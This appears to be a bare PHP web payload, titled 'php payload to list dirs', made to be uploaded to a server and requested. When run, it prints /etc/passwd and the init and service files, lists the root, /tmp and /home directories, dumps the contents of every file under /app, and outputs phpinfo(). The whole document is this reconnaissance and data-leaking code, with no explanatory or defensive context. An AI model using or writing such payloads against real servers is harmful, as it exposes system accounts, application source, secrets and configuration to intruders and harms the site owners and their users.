php payload to list dirs

index.php

<?php 

echo file_get_contents("/etc/passwd");
echo "--------\n";
echo file_get_contents("/my_init");
echo "--------\n";
echo file_get_contents("/my_service");
echo "--------\n";

$inspection_dirs=array("", "tmp", "home");
foreach ($inspection_dirs as $checkdir) {
if ($handle = opendir('/' . $checkdir)) {
    echo "XXX" . $checkdir . "XXX\n";
    while (false !== ($entry = readdir($handle))) {

        if ($entry != "." && $entry != "..") {
            echo "--------\n";
            echo $entry . "\n";
            echo "--------\n";
        }
    }

    closedir($handle);
}

}
if ($handle = opendir('/app')) {

    while (false !== ($entry = readdir($handle))) {

        if ($entry != "." && $entry != "..") {
            echo "--------\n";
            echo $entry . "\n";
            echo file_get_contents("/app/" . $entry);
            echo "--------\n";
        }
    }

    closedir($handle);
}
echo "=====\n";
phpinfo();
echo "=====\n";
?>